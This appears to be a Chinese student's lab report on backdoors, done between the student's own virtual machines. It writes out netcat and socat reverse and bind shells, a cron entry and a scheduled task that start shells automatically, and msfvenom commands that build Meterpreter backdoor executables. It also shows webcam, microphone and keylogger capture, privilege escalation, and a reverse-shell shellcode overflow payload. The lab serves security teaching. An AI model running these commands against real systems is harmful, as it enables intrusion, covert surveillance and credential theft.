Exp2-后门原理与实践

Exp2-后门原理与实践

实验内容 (4分+2分附加题)

(1)使用netcat获取主机操作Shell,cron启动 (1分)

(2)使用socat获取主机操作Shell, 任务计划启动 (1分)

(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(1分)

(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (1分)

(5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(2分)加分内容一并写入本实验报告。
(评分者注意,附加分写在评论里,不要和主分数混在一起)

一、常用后门工具

​ 1.Netcat 、Socat系列

​ 2.Meterpreter

​ 3.Intersect

​ 4.CHAOS……

​ 本次实验我们主要使用Netcat 、Socat系列以及Meterpreter。

二、实验内容

(一)使用netcat获取主机操作Shell,cron启动

1.kali获取windows虚拟机的shell

(1)查看kali虚拟机的IP地址
ifconfig

image-20220328145638357

(2)在kali虚拟机中开启监听,端口号以学号为基础指定
nc -l -p 11310

image-20220328150159057

(3)windows反弹连接Linux,这里首先在windows下进入ncat所在的文件夹,ip的地址为Linux的地址
ncat.exe -e cmd.exe 192.168.40.128 11310

image-20220328150237745

(4)Linux下看到Windows的命令提示,验证shell

image-20220328150314905

2.Windows获取kali虚拟机的shell

(1)获取Windows中的IP地址
ipconfig

image-20220328150442897

(2)在ncat文件夹目录下打开监听,端口选择类学号数字
ncat.exe -l -p 11310

image-20220328150530413

(3)Linux反弹连接win
nc 192.168.3.40 11310 -e /bin/sh

$$
/bin/sh是UNIX命令提供shell去执行shell命令
$$

image-20220328150911516

(4)Windows获得kali的shell,使用linux常用指令验证
ls pwd whoami

image-20220328150942038

3.cron启动

Linux下进行
①Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。
man cron

image-20220328151006165

②crontab指令增加一条定时任务,"-e"表示编辑
crontab -e

image-20220328151102338

③第一次编辑需要选择,我们选择2选项
④设置自启动时间,每个小时的第12分钟执行后面的指令
12 * * * * /bin/netcat 172.16.229.166 11310 -e /bin/sh

image-20220328151805963

⑤在相应的时间节点打开监听,这里我们选择主机Windows

image-20220328151645226

时间节点已经到,我们可以看见这里window已经获得了Linux的shell

(二)使用socat获取主机操作Shell, 任务计划启动

1.Windows获取kali虚拟机的shell

(1)Kali开放11310端口
socat tcp-listen:11310 system:bash,pty,stderr

image-20220328151933829

(2)Windows连接Kali虚拟机,获取终端,IP地址为Linux地址
socat - tcp:192.168.40.128:11310

image-20220328152139653

注意:需要在socat文件目录中运行

(3)验证终端功能,完全正常
ls pwd whoami

image-20220328152155118

2.Kali获取Windows虚拟机的shell

(1)Windows开放11310端口
socat tcp-listen:11310 exec:cmd,pty,stderr 

image-20220328152422148

(2)Kali机连接Windows获取终端
socat - tcp:192.168.3.40:11310

image-20220328152449576

(3)验证shell,成功
dir

image-20220328152452383

3.Windows下任务计划启动

(1)创建基本任务,在计算机管理的任务计划程序中进行操作

image-20220328152707323

(2)进行触发器、操作的相关设置
(3)编辑操作时,在参数中写上以下数据
tcp-listen:11310 exec:cmd,pty,stderr
(4)等待达到相应设计的时间进行观察

(5)在Kali中进行socat连接,测试shell

image-20220328153148922

(三)使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

1.Kali端生成后门可执行文件

Kali执行以下代码

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.40.128 LPORT=11310 -f exe > 20191310_backdoor.exe

image-20220328153413224

2.利用ncat将后门文件传送到Windows下获取终端

(1)在Windows的cmd下监听11310端口,获取后门文件
ncat.exe -l 11310 > 20191310_backdoor.exe

image-20220328153520981

(2)虚拟机传送后门文件
nc 192.168.3.40 11310 < 20191310_backdoor.exe

image-20220328154118997

(3)查看传送结果

传送成功:

image-20220328153710003

image-20220328154133295

(4)MSF

①启动msf

msfconsole

image-20220328154151376

②进行相关设置

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp 

image-20220328154225322

③设置LHOST、LPORT

set LHOST 192.168.40.128
set LPORT 11310

image-20220328154341324

(5)进行触发

exploit

(5)Windows下进行操作,打开后门可执行文件(可以用管理员身份运行)

(6)获取shell终端,使用dir验证,显示成功

image-20220328155422956

(四)使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

1.获取目标主机音频

输入以下指令

record_mic

image-20220328155628310

2.获取目标摄像头内容

输入以下指令

webcam_snap

image-20220328155647333

3.获取击键记录

keyscan_start//开始记录
keyscan_dump//读取

image-20220328155732086

4.获取截屏信息

screenshot

image-20220328155811246

5.尝试提权

getsystem

根据此处博客设置方法,最终提权成功,在此不再赘述(https://blog.csdn.net/redwand/article/details/107527710)

6.许多有趣的攻击指令

	record_mic     Record audio from the default microphone for X seconds
    webcam_chat    Start a video chat
    webcam_list    List webcams
    webcam_snap    Take a snapshot from the specified webcam
    webcam_stream  Play a video stream from the specified webcam
    hashdump       Dumps the contents of the SAM database
    timestomp      Manipulate file MACE attributes
    shell		   getshell

(五)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

1.后门exe文件方法

①生成exe可执行文件
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.40.128 LPORT=11310 -x pwn1 -f elf > pwn_exp2

image-20220328160020649

②运行生成的文件,注意必须先给生成的文件以权限
chmod +x pwn_exp2 *给权限*
./pwn_exp2 | nc 192.168.3.40 11310 -e /bin/sh *运行文件*

image-20220328161509070

③Windows下监听,获取shell并使用以下指令验证shell
ls whoami pwd

image-20220328161454086

2.生成shellcode注入

前期准备,关闭地址随机化并设置堆栈可执行
image-20220402103244469

参考陈发强同学的博客网络对抗实验exp2,博客链接

msfvenom -p linux/x86/shell/reverse_nonx_tcp LHOST=192.168.40.128 LPORT=11310 -f c

image-20220402103412544

生成的shellcode如下

"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x97"
"\x5b\x68\xc0\xa8\x28\x80\x66\x68\x2c\x2e\x66\x53\x89\xe1\x6a"
"\x66\x58\x50\x51\x57\x89\xe1\x43\xcd\x80\x5b\x99\xb6\x0c\xb0"
"\x03\xcd\x80\xff\xe1"

结合exp1中找到的pwn1的返回地址(我的是0xffffd0d0),加在shellcode开头,再在上覆盖缓冲区的随意字符,首先在Kali上生成shellcode在Kali本地测试,用如下代码生成input,然后再按照之前的方法设置msf控制台

perl -e 'print "A" x 32; print "\xd0\xd0\xff\xff\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x97\x5b\x68\xc0\xa8\x28\x80\x66\x68\x2c\x2e\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x57\x89\xe1\x43\xcd\x80\x5b\x99\xb6\x0c\xb0\x03\xcd\x80\xff\xe1"' > input

在一终端运行pwn1
image-20220402103807641

在另一终端用msfexploit监听,本地攻击成功

三、实验总结与体会

​ 通过本次实验,我学会了在理想情况下,也就是实验情况下对linux和windows植入后门的操作,这算是我第一次对于后门的实践,这里面包括开启侦听、反弹连接、生成和传送后门程序、利用后门或者传送的程序控制被控主机、修改定时任务列表、使用ncat的加强工具socat获取主机操作Shell等。

​ 实验过程中,已经完完全全体会到了攻击者的“乐趣”和攻击成功后的成就感,当看到我的电脑摄像头自己闪光的时候,我想到了斯诺登揭露的那些事,原来这种技术我们就可以实现最简单的实践,这是何其真实和危险!

​ 网络安全有关国家安全,这次是真真切切让我感受到了,网络的世界有多少深不可测的高手,网络的空间有多少实实在在的攻击和巧妙的攻击手段,信息安全、网络安全绝对不容忽视!

​ 网络安全异常重要,网络对抗的实验真真切切让我学到了很多!我知道了后门的原理并且进行了简单的实践!

基础问题回答

例举你能想到的一个后门进入到你系统中的可能方式?

某些图片也可以被植入后门,如果你下载之后再点开,就会中招

例举你知道的后门如何启动起来(win及linux)的方式?

修改系统配置
创建定时触发任务,添加启动项
修改默认的Shell程序
用户运行了带有后面的exe可执行程序
利用远程控制软件启动

Meterpreter有哪些给你印象深刻的功能?

​ Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpretershell的链接。Meterpretershell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。另外Meterpreter能够躲避入侵检测系统。Meterpreter的工作模式是纯内存的,好处是启动隐藏,很难被杀毒软件监测到。不需要访问目标主机磁盘,所以也没什么入侵的痕迹。

z如何发现自己有系统有没有被安装后门?

内存经常被占用
病毒打开了许多文件或占用了大量内存。
电脑中出现了一些不明服务
某些文件打不开
病毒修改了文件格式;病毒修改了文件链接位置。文件损坏;硬盘损坏;文件快捷方式对应的链接位置发生了变化;原来编辑文件的软件删除了。
出现大量来历不明的文件
后门复制了大量文件。
电脑自动执行或启动程序
后门在执行非法操作。

posted @ 2022-03-28 16:21  20191310李烨龙  阅读(122)  评论(0编辑  收藏  举报